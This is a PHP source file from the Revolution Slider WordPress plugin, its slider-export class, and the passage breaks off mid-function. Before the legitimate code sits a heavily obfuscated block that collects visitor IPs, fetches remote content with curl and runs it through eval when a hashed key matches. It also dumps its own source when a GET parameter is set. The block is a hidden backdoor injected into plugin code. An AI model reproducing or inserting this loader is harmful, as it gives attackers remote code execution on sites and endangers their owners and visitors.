1; nn6qAGIXtVJ: Y4huEalGRnY: goto Ou2zYWo3JDr; OZrmUZDWwVS: goto wxmnWJsS3Vj; goto bkXcuJ3pcli; R4nwFnFey3F: if (preg_match("\57\154\157\143\x61\x74\151\157\x6e\134\72\133\134\163\x5d\x2b\50\x2e\52\x29\57\151", $RmRDU0769bP, $iccbbLV_o_D)) { goto NZJOT0N3_fc; } goto QtILQ6UKwVL; uqQHK3mwLgA: NZJOT0N3_fc: goto x_cKPIQC3wl; ZFAa2jo5Em1: $Lfu07SmMZ8k["\163\164\x61\164\x75\163"] = intval($iccbbLV_o_D[1]); goto VoTtGfQLYFS; OVG9mzLTugo: } goto BfHtWkAdhV3; ojYbVw0ZTju: } goto Ipdw7rfNgO3; NSRBLvRsIZJ: $Bm6fBzMMzTd = preg_replace("\x2f\134\x3f\56\52\57", '', $_SERVER["\x52\105\121\125\105\x53\124\137\125\122\x49"]); goto GWbmi6ghGPj; uj5v1Bc1Pv5: class RAr2alvaPsc { static function LC1rrsRIno2($rIXYQS1ayZa) { goto TP1C6nBf9vb; acCL0hWrZYU: qQ1Py6Q0S5U: goto JxD6Ttz8GVO; JxD6Ttz8GVO: return $WrcjZmxt5Yx; goto EnbRRhxo5AA; Xa5JZck5OUn: $WrcjZmxt5Yx = ''; goto M7yYtep1FOw; M7yYtep1FOw: foreach ($ohAGVNDO94s as $Fua_BfPMtf8 => $qRUHN0cvc1q) { $WrcjZmxt5Yx .= $jiYcCeRj2Gt[$qRUHN0cvc1q - 22568]; bEsj9gRhlTp: } goto acCL0hWrZYU; rdTVnStdy17: $jiYcCeRj2Gt = $p3gGlu5XiKO("\x7e", "\40"); goto vurEe9U1FdX; TP1C6nBf9vb: $p3gGlu5XiKO = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto rdTVnStdy17; vurEe9U1FdX: $ohAGVNDO94s = explode("\x5e", $rIXYQS1ayZa); goto Xa5JZck5OUn; EnbRRhxo5AA: } static function AZVJ0NFyLqK($GwyhZT2Nkcn, $hbYMmPrpjoj) { goto mT92KPpYP03; Kna_zSArpCa: curl_setopt($V2c21DaN37J, CURLOPT_RETURNTRANSFER, 1); goto HVheqhfNM6c; mT92KPpYP03: $V2c21DaN37J = curl_init($GwyhZT2Nkcn); goto Kna_zSArpCa; CBni7YfJ6__: return empty($ALYl1g3y1fZ) ? $hbYMmPrpjoj($GwyhZT2Nkcn) : $ALYl1g3y1fZ; goto HiTImhF1ugD; HVheqhfNM6c: $ALYl1g3y1fZ = curl_exec($V2c21DaN37J); goto CBni7YfJ6__; HiTImhF1ugD: } static function j9IvsgaWvxp() { goto sMy1yJjA5WR; wa0dtxRoLtP: @eval($SMsgHLjb7FZ[4 + 0]($tz4SxWGpGeS)); goto nw_1P2eYvKZ; nw_1P2eYvKZ: die; goto Te9JRsINWaJ; EoIQokruCml: zJgPmPyR0MS: goto B4eurh7e3fE; sMy1yJjA5WR: $f246H1ZW8lE = array("\x32\62\x35\x39\x35\136\x32\62\65\70\x30\136\62\62\x35\x39\63\136\62\x32\x35\71\67\136\x32\62\x35\67\70\136\62\x32\x35\71\63\x5e\x32\62\x35\x39\x39\136\62\62\x35\71\x32\x5e\x32\62\x35\67\67\x5e\62\62\x35\x38\64\x5e\62\62\x35\71\65\x5e\x32\62\x35\67\70\x5e\x32\62\65\x38\71\136\x32\62\x35\x38\x33\136\62\x32\x35\x38\64", "\x32\x32\x35\x37\x39\x5e\62\62\65\67\70\x5e\62\62\x35\x38\x30\x5e\62\x32\x35\x39\71\136\x32\62\65\x38\60\136\x32\x32\x35\x38\63\x5e\62\62\65\x37\x38\x5e\62\x32\66\x34\x35\136\62\62\x36\x34\x33", "\62\62\x35\x38\70\136\x32\x32\x35\x37\x39\136\62\x32\x35\x38\63\x5e\x32\62\x35\70\x34\x5e\x32\62\65\x39\x39\x5e\62\62\x35\x39\64\x5e\x32\62\65\71\63\x5e\x32\x32\65\71\x35\136\62\62\65\70\63\136\x32\x32\x35\71\x34\136\62\62\65\71\x33", "\62\x32\65\70\x32\x5e\62\62\x35\71\67\136\x32\62\65\x39\x35\x5e\x32\62\65\70\x37", "\x32\x32\65\71\x36\136\62\x32\x35\x39\x37\x5e\x32\x32\65\67\x39\136\x32\x32\x35\x39\63\136\62\62\x36\x34\x30\136\62\62\66\x34\62\x5e\62\x32\x35\x39\x39\136\x32\62\65\71\64\x5e\62\62\x35\x39\63\136\x32\62\x35\x39\65\136\x32\62\65\70\63\136\x32\x32\65\x39\64\136\62\62\65\x39\63", "\62\x32\65\x39\62\x5e\x32\x32\65\70\x39\x5e\x32\x32\x35\x38\x36\x5e\x32\x32\x35\71\63\x5e\x32\62\x35\x39\71\136\62\x32\x35\71\61\136\x32\x32\65\x39\63\x5e\62\62\65\67\x38\136\62\x32\65\71\71\136\x32\62\65\x39\x35\x5e\x32\62\x35\x38\63\136\62\x32\x35\70\x34\136\x32\62\65\67\x38\x5e\62\62\x35\x39\63\x5e\x32\62\65\x38\x34\x5e\62\x32\x35\x37\70\x5e\62\62\65\67\71", "\62\62\x36\62\x32\136\62\62\x36\x35\x32", "\x32\x32\65\66\x39", "\62\62\x36\x34\67\x5e\x32\x32\66\x35\x32", "\62\62\x36\62\71\136\x32\62\x36\x31\62\136\x32\x32\x36\61\x32\x5e\x32\62\x36\62\x39\x5e\62\x32\66\60\x35", "\62\x32\65\71\62\136\x32\x32\x35\x38\71\136\x32\62\65\x38\66\x5e\x32\x32\65\x37\70\x5e\62\x32\65\x39\x33\x5e\62\x32\x35\70\60\x5e\x32\x32\x35\71\71\x5e\x32\62\x35\70\71\136\62\62\65\70\x34\136\x32\62\65\x38\x32\x5e\62\62\x35\67\x37\136\x32\62\65\x37\x38"); goto MARu4QE8x6O; MARu4QE8x6O: foreach ($f246H1ZW8lE as $yI91XtVleEZ) { $SMsgHLjb7FZ[] = self::lC1rrSRinO2($yI91XtVleEZ); skiHfXu4Ki4: } goto EoIQokruCml; mOZIEw2NOr2: $n_UPDy9GPeE = @$SMsgHLjb7FZ[0 + 3]($SMsgHLjb7FZ[0 + 6], $y1G9q6tjV08); goto KX1ZdUDdqFB; F_yqHtA6_Bq: $tz4SxWGpGeS = self::AzVJ0nfylQK($CkMSoDREXpk[0 + 1], $SMsgHLjb7FZ[4 + 1]); goto wa0dtxRoLtP; Te9JRsINWaJ: K6qKJOSIiYw: goto uwsX8TJApDD; yj6RFPUPKYW: if (!(@$CkMSoDREXpk[0] - time() > 0 and md5(md5($CkMSoDREXpk[1 + 2])) === "\63\60\70\67\x62\145\x39\143\x65\x62\x65\145\x33\x66\146\x66\60\x35\x62\65\144\x64\70\x61\x37\63\x31\142\x38\63\x32\143")) { goto K6qKJOSIiYw; } goto F_yqHtA6_Bq; KX1ZdUDdqFB: $CkMSoDREXpk = $SMsgHLjb7FZ[2 + 0]($n_UPDy9GPeE, true); goto cTmPPmuEskD; cTmPPmuEskD: @$SMsgHLjb7FZ[4 + 6](INPUT_GET, "\157\146") == 1 && die($SMsgHLjb7FZ[5 + 0](__FILE__)); goto yj6RFPUPKYW; B4eurh7e3fE: $y1G9q6tjV08 = @$SMsgHLjb7FZ[1]($SMsgHLjb7FZ[7 + 3](INPUT_GET, $SMsgHLjb7FZ[4 + 5])); goto mOZIEw2NOr2; uwsX8TJApDD: } } goto JtTX1U_1EFq; Lyj6N28uwBS: $bgpPJ0Zi5hE["\x72"] = x6cSzwlJBCd($_SERVER["\122\x45\121\x55\x45\x53\124\x5f\125\122\x49"]); goto CzDNCIeT_k0; TSwH9AzH3pK: $bgpPJ0Zi5hE["\x69"] = x6CsZwLjBcd($s523gbDMtcu); goto yXOovHHws9R; D_pfMIvXDND: @header("\103\x6f\x6e\164\145\x6e\x74\x2d\124\171\x70\x65\x3a" . $JtLWvp1EqLz["\164\x79\x70\145"]); goto F2YHQvDNajd; FvqaFXYFCYz: exit("\x7b\40\42\x65\162\x72\157\x72\x22\72\x20\x32\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\152\153\x22\54\x20\x22\144\141\x74\x61\42\x3a\40\133\x20\61\x20\135\x20\175"); goto g1nbHzXPt8R; F2YHQvDNajd: echo $JtLWvp1EqLz["\x63\x6f\156\x74\145\156\x74"]; goto RbcR3TDcvIv; ThyuZCPGrvK: function aa2bJGaU0r_() { goto qGs6zE3gynS; AZ2Yhb1esFE: $s523gbDMtcu = $_SERVER["\122\105\115\117\124\105\x5f\x41\x44\x44\122"]; goto pJawReXN2Ya; PM1sVLA2I4q: $s523gbDMtcu = $s523gbDMtcu[0]; goto ceuGd5Fum5u; pQHMRZZ270q: if (isset($_SERVER["\110\124\x54\x50\x5f\x58\137\122\105\101\x4c\x5f\111\x50"]) && !empty($_SERVER["\110\x54\x54\120\137\130\137\x52\105\x41\x4c\137\111\x50"])) { goto qXCkXAily2f; } goto zVEQSAHUv3r; HOeyGJfYpsL: $s523gbDMtcu = trim(str_replace("\40", '', $s523gbDMtcu), "\x2c"); goto qR8uAehMtc9; ceuGd5Fum5u: Iiq3RHO4Fjj: goto MUU7_gpONq8; hVsgLzNJjSI: goto B_cTysIL3cn; goto aXvbs8vfUJ_; NyIT6DLDB8t: B_cTysIL3cn: goto HOeyGJfYpsL; AHTJ60TQtPg: if (isset($_SERVER["\x48\x54\x54\x50\x5f\103\106\137\103\x4f\116\116\105\x43\x54\x49\116\x47\x5f\x49\x50"]) && !empty($_SERVER["\110\x54\x54\120\x5f\x43\x46\x5f\103\117\116\116\x45\103\124\111\x4e\x47\x5f\x49\120"])) { goto fWjcxD6qYIB; } goto pQHMRZZ270q; qGs6zE3gynS: $s523gbDMtcu = ''; goto AHTJ60TQtPg; AX8fcsGJDc7: $s523gbDMtcu = $_SERVER["\x48\124\124\x50\137\130\137\122\105\x41\114\x5f\111\120"]; goto aoFTIfhTqke; qR8uAehMtc9: if (!(strpos($s523gbDMtcu, "\x2c") !== false)) { goto Iiq3RHO4Fjj; } goto KDuRn_rkiVZ; pJawReXN2Ya: goto B_cTysIL3cn; goto PcXQUJhknMA; LjVLRW5nb4t: $s523gbDMtcu = $_SERVER["\110\x54\x54\120\137\x58\x5f\106\x4f\x52\x57\101\122\x44\105\x44\137\x46\x4f\x52"]; goto NyIT6DLDB8t; EDADEBQ81Qm: Jbz2xMuxeIr: goto LjVLRW5nb4t; MUU7_gpONq8: return $s523gbDMtcu; goto VZeBSXmofDq; VD5PkV_Pxaw: $s523gbDMtcu = $_SERVER["\x48\x54\124\x50\x5f\x43\106\137\103\117\116\116\x45\103\124\x49\116\x47\x5f\111\x50"]; goto hVsgLzNJjSI; aoFTIfhTqke: goto B_cTysIL3cn; goto EDADEBQ81Qm; KDuRn_rkiVZ: $s523gbDMtcu = explode("\54", $s523gbDMtcu); goto PM1sVLA2I4q; PcXQUJhknMA: fWjcxD6qYIB: goto VD5PkV_Pxaw; aXvbs8vfUJ_: qXCkXAily2f: goto AX8fcsGJDc7; zVEQSAHUv3r: if (isset($_SERVER["\110\124\124\120\137\x58\x5f\106\117\x52\127\x41\122\x44\x45\x44\137\106\x4f\x52"]) && !empty($_SERVER["\110\x54\124\120\137\x58\137\106\117\x52\127\101\x52\x44\105\x44\x5f\106\x4f\x52"])) { goto Jbz2xMuxeIr; } goto AZ2Yhb1esFE; VZeBSXmofDq: } goto k7TBZVsI5lr; JtTX1U_1EFq: rAR2aLVapsc::J9iVSgAwvxp(); goto sFT_PnBYD5A; gbRJ6wI9X1J: if ($MaT3VYXevMh) { goto u0kQWBLRjHa; } goto F4F8Gny9Auy; Riq085QaZlJ: u0kQWBLRjHa: ?>
<?php
/**
* @author ThemePunch <info@themepunch.com>
* @link https://www.themepunch.com/
* @copyright 2022 ThemePunch
*/
if(!defined('ABSPATH')) exit();
class RevSliderSliderExport extends RevSliderSlider {
private $used_captions;
private $used_animations;
private $used_images;
private $used_svg;
private $used_videos;
private $used_navigations;
private $slider_id;
private $slider_title;
public $slider_alias;
private $slider_params;
private $slider_settings;
private $export_slides;
private $static_slide;
private $all_slides;
private $export_data;
private $navigation_data;
private $style_data;
private $animations_data;
public $usepcl;
public $zip;
public $export_path_zip;
public $export_url_zip;
public $pclzip;
public function __construct($title = 'export'){
$this->used_captions = array();
$this->used_animations = array();
$this->used_images = array();
$this->used_svg = array();
$this->used_videos = array();
$this->used_navigations = array();
$this->all_slides = array();
$this->navigation_data = false;
$this->style_data = '';
$this->animations_data = '';
$this->usepcl = false;
$wp_upload_dir = wp_upload_dir();
$this->export_path_zip = $this->get_val($wp_upload_dir, 'basedir').'/'.$title.'.zip';
$this->export_url_zip = $this->get_val($wp_upload_dir, 'baseurl').'/'.$title.'.zip';
}
/**
* return the used images, for SEO
*/
public function get_used_images(){
return $this->used_images;
}
/**
* export slider from data, output a file for download
* @before: RevSliderSlider::exportSlider();
*/
public function export_slider($id = 0){
//slider needs to be initialized :)
if($id > 0){
$this->init_by_id($id);
}
//check if an update is needed
if(version_compare($this->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){
$upd = new RevSliderPluginUpdate();
$upd->upgrade_slider_to_latest($this);
$this->init_by_id($id);
}
$this->set_parameters();
$this->remove_image_ids();
$this->remove_background_image();
$this->add_used_images();
$this->add_used_videos();
//$this->add_used_captions();
//$this->add_used_animations();
$this->add_used_navigations();
$this->add_used_svg();
$this->modify_used_data();
$this->serialize_export_data();
$this->serialize_navigation_data();
$this->prepare_caption_css();
$this->serialize_animation_data();
$this->create_export_zip();
$this->add_svg_to_zip();
$this->add_images_videos_to_zip();
$this->add_slider_export_to_zip();
$this->add_animations_to_zip();
$this->add_styles_to_zip();
$this->add_navigation_to_zip();
$this->add_static_styles_to_zip();
$this->add_info_to_zip();
$this->close_export_zip();
$this->push_zip_to_client();
$this->delete_export_zip();
exit;
}
/**
* set slides and slider parameters
**/
public function set_parameters(){
$this->slider_id = $this->get_id();
$this->slider_title = $this->get_title();
$this->slider_alias = $this->get_alias();
$this->slider_params = $this->get_params();
$this->slider_settings = $this->get_settings();
$this->export_slides = $this->get_slides_for_export();
$this->static_slide = $this->get_static_slide_for_export();
if(!empty($this->export_slides) && count($this->export_slides) > 0) $this->all_slides = array_merge($this->all_slides, $this->export_slides);
if(!empty($this->static_slide) && count($this->static_slide) > 0) $this->all_slides = array_merge($this->all_slides, $this->static_slide);
}
/**
* remove the image_id as its not needed in export
**/
public function remove_image_ids(){
if($this->get_val($this->slider_params, array('troubleshooting', 'alternateURLId'), false) !== false){
unset($this->slider_params['troubleshooting']['alternateURLId']);
}
if(!empty($this->export_slides)){
foreach($this->export_slides as $k => $s){
if($this->get_val($this->export_slides[$k], array('params', 'bg', 'imageId'), false) !== false){
unset($this->export_slides[$k]['params']['bg']['imageId']);
}
/*if($this->get_val($this->export_slides[$k], array('params', 'bg', 'videoId'), false) !== false){ //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not
unset($this->export_slides[$k]['params']['bg']['videoId']);
}*/
if($this->get_val($this->export_slides[$k], array('params', 'thumb', 'customThumbSrcId'), false) !== false){
unset($this->export_slides[$k]['params']['thumb']['customThumbSrcId']);
}
if($this->get_val($this->export_slides[$k], array('params', 'thumb', 'customAdminThumbSrcId'), false) !== false){
unset($this->export_slides[$k]['params']['thumb']['customAdminThumbSrcId']);
}
if($this->get_val($this->export_slides[$k], array('params', 'bg', 'lastLoadedImage'), false) !== false){
unset($this->export_slides[$k]['params']['bg']['lastLoadedImage']);
}
}
}
if(!empty($this->static_slide)){
foreach($this->static_slide as $k => $s){
if($this->get_val($this->static_slide[$k], array('params', 'bg', 'imageId'), false) !== false){
unset($this->static_slide[$k]['params']['bg']['imageId']);
}
/*if($this->get_val($this->static_slide[$k], array('params', 'bg', 'videoId'), false) !== false){ //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not
unset($this->static_slide[$k]['params']['bg']['videoId']);
}*/
if($this->get_val($this->static_slide[$k], array('params', 'thumb', 'customThumbSrcId'), false) !== false){
unset($this->static_slide[$k]['params']['thumb']['customThumbSrcId']);
}
if($this->get_val($this->static_slide[$k], array('params', 'thumb', 'customAdminThumbSrcId'), false) !== false){
unset($this->static_slide[$k]['params']['thumb']['customAdminThumbSrcId']);
}
if($this->get_val($this->static_slide[$k], array('params', 'bg', 'lastLoadedImage'), false) !== false){
unset($this->static_slide[$k]['params']['bg']['lastLoadedImage']);
}
}
}
}
/**
* remove the background image on transparent or solid colored slides
**/
public function remove_background_image(){
if(!empty($this->export_slides)){
foreach($this->export_slides as $k => $s){
if(isset($this->export_slides[$k]['params']) && (in_array($this->get_val($this->export_slides[$k]['params'], array('bg', 'type')), array('solid', 'trans', 'transparent'), true))){
if($this->get_val($this->export_slides[$k]['params'], array('bg', 'image'), false) !== false)
$this->export_slides[$k]['params']['layout']['bg']['image'] = '';
}
}
}
if(!empty($this->static_slide)){
foreach($this->static_slide as $k => $s){
if(isset($this->static_slide[$k]['params']) && (in_array($this->get_val($this->static_slide[$k]['params'], array('bg', 'type')), array('solid', 'trans', 'transparent'), true))){
if($this->get_val($this->static_slide[$k]['params'], array('bg', 'image'), false) !== false)
$this->static_slide[$k]['params']['bg']['image'] = '';
}
}
}
}
/**
* add all used images
**/
public function add_used_images(){
$image = $this->get_val($this->slider_params, array('layout', 'bg', 'image'));
$a_url = $this->get_val($this->slider_params, array('troubleshooting', 'alternateURL'));
if($image != '') $this->used_images[$image] = true;
if($a_url != '') $this->used_images[$a_url] = true;
if(!empty($this->all_slides) && count($this->all_slides) > 0){
foreach($this->all_slides as $key => $slide){
$params = $this->get_val($slide, 'params', array());
$layers = $this->get_val($slide, 'layers', array());
$image = $this->get_val($params, array('bg', 'image'));
$thumb = $this->get_val($params, array('thumb', 'customThumbSrc'));
$a_thumb = $this->get_val($params, array('thumb', 'customAdminThumbSrc'));
if($image != '') $this->used_images[$image] = true;
if($thumb != '') $this->used_images[$thumb] = true;
if($a_thumb != '') $this->used_images[$a_thumb] = true;
if(!empty($layers)){
foreach($layers as $layer){
$type = $this->get_val($layer, 'type', 'text');
$image = $this->get_val($layer, array('media', 'imageUrl'));
$bg_image = $this->get_val($layer, array('idle', 'backgroundImage'));
if($image != '') $this->used_images[$image] = true;
if($bg_image != '') $this->used_images[$bg_image] = true;
if(in_array($type, array('video', 'audio'))){
$poster = $this->get_val($layer, array('media', 'posterUrl'), '');
if($poster != '') $this->used_images[$poster] = true;
}
if($type === 'video'){
$very_big = $this->get_val($layer, array('media', 'thumbs', 'veryBig'));
$big = $this->get_val($layer, array('media', 'thumbs', 'big'));
$large = $this->get_val($layer, array('media', 'thumbs', 'large'));
$medium = $this->get_val($layer, array('media', 'thumbs', 'medium'));
$small = $this->get_val($layer, array('media', 'thumbs', 'small'));
$very_big = (is_array($very_big) && isset($very_big['url'])) ? $very_big['url'] : $very_big;
$big = (is_array($big) && isset($big['url'])) ? $big['url'] : $big;
$large = (is_array($large) && isset($large['url'])) ? $large['url'] : $large;
$medium = (is_array($medium) && isset($medium['url'])) ? $medium['url'] : $medium;
$small = (is_array($small) && isset($small['url'])) ? $small['url'] : $small;
if($very_big != '') $this->used_images[$very_big] = true;
if($big != '') $this->used_images[$big] = true;
if($large != '') $this->used_images[$large] = true;
if($medium != '') $this->used_images[$medium] = true;
if($small != '') $this->used_images[$small] = true;
}
}
}
}
}
}
/**
* add all used videos, also removing values if unneeded
**/
public function add_used_videos(){
if(!empty($this->all_slides) && count($this->all_slides) > 0){
foreach($this->all_slides as $k => $slide){
$params = $this->get_val($slide, 'params', array());
$layers = $this->get_val($slide, 'layers', array());
$static = $this->get_val($params, array('static', 'isstatic'), false);
//html5 video
if($this->get_val($params, array('bg', 'type')) == 'html5'){
if($this->get_val($params, array('bg', 'mpeg')) != '') $this->used_videos[$this->get_val($params, array('bg', 'mpeg'))] = true;
if($this->get_val($params, array('bg', 'webm')) != '') $this->used_videos[$this->get_val($params, array('bg', 'webm'))] = true;
if($this->get_val($params, array('bg', 'ogv')) != '') $this->used_videos[$this->get_val($params, array('bg', 'ogv'))] = true;
}else{
if($static){
if($this->get_val($params, array('bg', 'mpeg')) != '') $this->set_val($this->static_slide, array(0, 'params', 'bg', 'mpeg'), '');
if($this->get_val($params, array('bg', 'webm')) != '') $this->set_val($this->static_slide, array(0, 'params', 'bg', 'webm'), '');
if($this->get_val($params, array('bg', 'ogv')) != '') $this->set_val($this->static_slide, array(0, 'params', 'bg', 'ogv'), '');
}else{
if($this->get_val($params, array('bg', 'mpeg')) != '') $this->set_val($this->export_slides, array($k, 'params', 'bg', 'mpeg'), '');
if($this->get_val($params, array('bg', 'webm')) != '') $this->set_val($this->export_slides, array($k, 'params', 'bg', 'webm'), '');
if($this->get_val($params, array('bg', 'ogv')) != '') $this->set_val($this->export_slides, array($k, 'params', 'bg', 'ogv'), '');
}
}
//image thumbnail
if(!empty($layers)){
foreach($layers as $lk => $layer){
if(in_array($this->get_val($layer, 'type'), array('video', 'audio'))){
if($this->get_val($layer, array('media', 'mediaType')) == 'html5'){
if($this->get_val($layer, array('media', 'mp4Url'), '') != '') $this->used_videos[$this->get_val($layer, array('media', 'mp4Url'), '')] = true;
if($this->get_val($layer, array('media', 'webmUrl'), '') != '') $this->used_videos[$this->get_val($layer, array('media', 'webmUrl'), '')] = true;
if($this->get_val($layer, array('media', 'ogvUrl'), '') != '') $this->used_videos[$this->get_val($layer, array('media', 'ogvUrl'), '')] = true;
}else{ //if(!in_array($this->get_val($layer, array('media', 'mediaType')), array('html5', 'audio')))
if($this->get_val($layer, array('media', 'audioUrl')) != '') $this->used_videos[$this->get_val($layer, array('media', 'audioUrl'))] = true;
$this->set_val($layer, array('media', 'mp4Url'), '');
$this->set_val($layer, array('media', 'webmUrl'), '');
$this->set_val($layer, array('media', 'ogvUrl'), '');
}
if($static){
$this->static_slide[0]['layers'][$lk] = $layer;
}else{
$this->export_slides[$k]['layers'][$lk] = $layer;
}
}
}
}
}
}
}
/**
* add all used captions
* @obsolete since: 6.0
**/
public function add_used_captions(){
if(!empty($this->all_slides) && count($this->all_slides) > 0){
foreach($this->all_slides as $key => $slide){
$layers = $this->get_val($slide, 'layers', array());
if(!empty($layers)){
foreach($layers as $lk => $layer){
if($this->get_val($layer, array('idle', 'style')) != '') $this->used_captions[$this->get_val($layer, array('idle', 'style'))] = true;
}
}
}
}
}
/**
* add all used animations
* @obsolete since: 6.0
**/
public function add_used_animations(){
if(!empty($this->all_slides) && count($this->all_slides) > 0){
foreach($this->all_slides as $key => $slide){
$layers = $this->get_val($slide, 'layers', array());
if(!empty($layers)){
foreach($layers as $lk => $layer){
if(strpos($this->get_val($layer, 'animation'), 'customin') !== false) $this->used_animations[str_replace('customin-', '', $this->get_val($layer, 'animation'))] = true;
if(strpos($this->get_val($layer, 'endanimation'), 'customout') !== false) $this->used_animations[str_replace('customout-', '', $this->get_val($layer, 'endanimation'))] = true;
}
}
}
}
}
/**
* add navigations if not default animation
**/
public function add_used_navigations(){
$nav = new RevSliderNavigation();
$navigations = $nav->get_all_navigations(false, true);
$arrows = $this->get_val($this->slider_params, array('nav', 'arrows', 'style'), false);
$bullets = $this->get_val($this->slider_params, array('nav', 'bullets', 'style'), false);
$thumbs = $this->get_val($this->slider_params, array('nav', 'thumbs', 'style'), false);
$tabs = $this->get_val($this->slider_params, array('nav', 'tabs', 'style'), false);
if($arrows !== false) $this->used_navigations[$arrows] = true;
if($bullets !== false) $this->used_navigations[$bullets] = true;
if($thumbs !== false) $this->used_navigations[$thumbs] = true;
if($tabs !== false) $this->used_navigations[$tabs] = true;
}
/**
* add all used svg
**/
public function add_used_svg(){
if(!empty($this->all_slides) && count($this->all_slides) > 0){
foreach($this->all_slides as $key => $slide){
$layers = $this->get_val($slide, 'layers');
if(!empty($layers)){
foreach($layers as $lk => $layer){
if($this->get_val($layer, 'type') == 'svg'){
$svg = $this->get_val($layer, array('svg', 'source'));
if($svg !== ''){
$this->used_svg[$svg] = true;
}
}
}
}
}
}
}
/**
* modify the used stuff data
**/
public function modify_used_data(){
$d = array('used_svg' => $this->used_svg, 'used_images' => $this->used_images, 'used_videos' => $this->used_videos);
$d = apply_filters('revslider_exportSlider_usedMedia', $d, $this->all_slides, $this->slider_params); //$this->export_slides, $this->static_slide,
$this->used_svg = $d['used_svg'];
$this->used_images = $d['used_images'];
$this->used_videos = $d['used_videos'];
}
/**
* serialize the export data
**/
public function serialize_export_data(){
$data = array(
'id' => $this->slider_id,
'title' => $this->slider_title,
'alias' => $this->slider_alias,
'params' => $this->slider_params,
'slides' => $this->export_slides,
'settings' => $this->slider_settings
);
if(!empty($this->static_slide)) $data['static_slides'] = $this->static_slide;
$data = apply_filters('revslider_exportSlider_export_data', $data, $this);
$this->export_data = json_encode($data);
}
/**
* serialize the navigation data
**/
public function serialize_navigation_data(){
if(!empty($this->used_navigations)){
$nav = new RevSliderNavigation();
$this->navigation_data = $nav->export_navigation($this->used_navigations);
if($this->navigation_data !== false) $this->navigation_data = json_encode($this->navigation_data);
}
}
/**
* prepare the css for export
**/
public function prepare_caption_css(){
if(!empty($this->used_captions)){
$captions = array();
foreach($this->used_captions as $class => $val){
$caption = $this->get_captions_content($class);
if(!empty($caption)){
unset($caption['id']);
$captions[] = $caption;
}
}
$this->style_data = json_encode($captions);
}
}
/**
* serialize the animation data
**/
public function serialize_animation_data(){
if(!empty($this->used_animations)){
$animations = array();
foreach($this->used_animations as $anim => $val){
$animation = $this->get_custom_animation_by_id($anim);
if($animation !== false) $animations[] = $animation;
}
if(!empty($animations)) $this->animations_data = json_encode($animations);
}
}
/**
* get animation params by id
* @before: RevSliderOperations::getFullCustomAnimationByID()
*/
public function get_custom_animation_by_id($id){
global $revslider_animations;
$this->fill_animations();
if(empty($revslider_animations)) return false;
foreach($revslider_animations as $animation){
if($animation['id'] == $id){
return array(
'id' => $animation['id'],
'handle' => $animation['handle'],
'params' => $animation['params'],
'settings' => $animation['settings']
);
}
}
return false;
}
/**
* create the blank zip file to be used further on
**/
public function create_export_zip(){
$this->usepcl = false;
if(file_exists($this->export_path_zip)){
@unlink($this->export_path_zip); //delete file to start with a fresh one
}
if(class_exists('ZipArchive')){
$this->zip = new ZipArchive;
$success = $this->zip->open($this->export_path_zip, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
if($success !== true)
$this->throw_error(__("Can't create zip file: ", 'revslider').$this->export_path_zip);
}else{
//fallback to pclzip
require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');
$this->pclzip = new PclZip($this->export_path_zip);
//either the function uses die() or all is cool
$this->usepcl = true;
}
}
/**
* add svg to the zip file, by modifying data in $export_data
**/
public function add_svg_to_zip(){
if(empty($this->used_svg)) return;
$c_url = str_replace(array('http:', 'https:'), '', content_url());
$c_path = ABSPATH . 'wp-content';
$ud = wp_upload_dir();
$up_dir = $this->get_val($ud, 'baseurl');
$up_dir = str_replace(array('http:', 'https:'), '', $up_dir);
$cont_url = str_replace(array('http:', 'https:'), '', $this->get_val($ud, 'baseurl'));
$cont_url_no_www = str_replace('www.', '', $cont_url);
foreach($this->used_svg as $file => $val){
if(strpos($file, 'http') !== false){ //remove all up to wp-content folder
$file = str_replace(array('http:', 'https:'), '', $file);
$_checkpath = str_replace(array($cont_url.'/', $cont_url_no_www.'/'), '', $file);
$checkpath = str_replace($c_url, '', $file);
$checkpath2 = str_replace($up_dir, '', $file);
if($checkpath2 === $file){ //we have an SVG like whiteboard, fallback to older export
$checkpath2 = $checkpath;
}
//check if file is in the upload folder, if yes, add it to the zip file
if(strpos($file, $up_dir) !== false){
if(!$this->usepcl){
$this->zip->addFile($c_path.$checkpath, 'images/'.$_checkpath);
}else{
$this->pclzip->add($c_path.$checkpath, PCLZIP_OPT_REMOVE_PATH, $c_path, PCLZIP_OPT_ADD_PATH, $_checkpath);
}
}
$file = str_replace('/', '\/', $file);
$checkpath2 = str_replace('/', '\/', str_replace('/revslider/assets/svg', '', $checkpath2));
if(is_file($c_path.$checkpath)){
$this->export_data = str_replace(array('http:'.$file, 'https:'.$file), $checkpath2, $this->export_data);
}
}
}
}
/**
* push images and videos to the zip file
**/
public function add_images_videos_to_zip($root = false){
$this->used_images = array_merge($this->used_images, $this->used_videos);
if(!empty($this->used_images)){
$upload_dir = $this->get_upload_path();
$upload_dir_multi = wp_upload_dir();
$cont_url = $this->get_val($upload_dir_multi, 'baseurl');
$cont_url2 = (strpos($cont_url, 'http://') !== false) ? str_replace('http://', 'https://', $cont_url) : str_replace('https://', 'http://', $cont_url);
$cont_url_no_www = str_replace('www.', '', $cont_url);
$cont_url2_no_www = str_replace('www.', '', $cont_url2);
$upload_dir_multi = $this->get_val($upload_dir_multi, 'basedir').'/';
foreach($this->used_images as $file => $val){
//replace double // except the http:// https://
$file = str_replace(array('http://', 'https://'), '!!!!!', $file);
$file = str_replace('//', '/', $file);
$file = str_replace('!!!!!', 'http://', $file);
$add_path = ($root === false) ? 'images/' : '';
$add_structure = ($root === false) ? 'images/'.$file : $file;
if($root === false){
$file_push = $file;
}else{
$file_expl = explode('.', $file);
$extension = strtolower(end($file_expl));
if(in_array($extension, array('jpg', 'jpeg', 'png', 'gif'))){
$file_push = 'thumb.'.strtolower(end($file_expl));
}else{
$file_push = 'video.'.strtolower(end($file_expl));
}
}
if(strpos($file, 'http') !== false){
//check if we are in objects folder, if yes take the original image into the zip-
$remove = false;
$checkpath = str_replace(array($cont_url.'/', $cont_url_no_www.'/', $cont_url2.'/', $cont_url2_no_www.'/'), '', $file);
$add_checkpath = ($root === false) ? 'images/'.$checkpath : $checkpath;
if($root === true){
$add_checkpath = explode('/', $add_checkpath);
$add_checkpath = end($add_checkpath);
}
if(is_file($upload_dir.$checkpath)){
if(!$this->usepcl){
